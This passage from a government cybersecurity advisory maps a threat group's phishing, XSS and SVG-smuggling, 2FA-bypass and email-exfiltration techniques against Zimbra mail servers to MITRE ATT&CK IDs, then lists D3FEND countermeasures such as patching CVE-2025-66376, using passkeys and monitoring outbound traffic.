<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
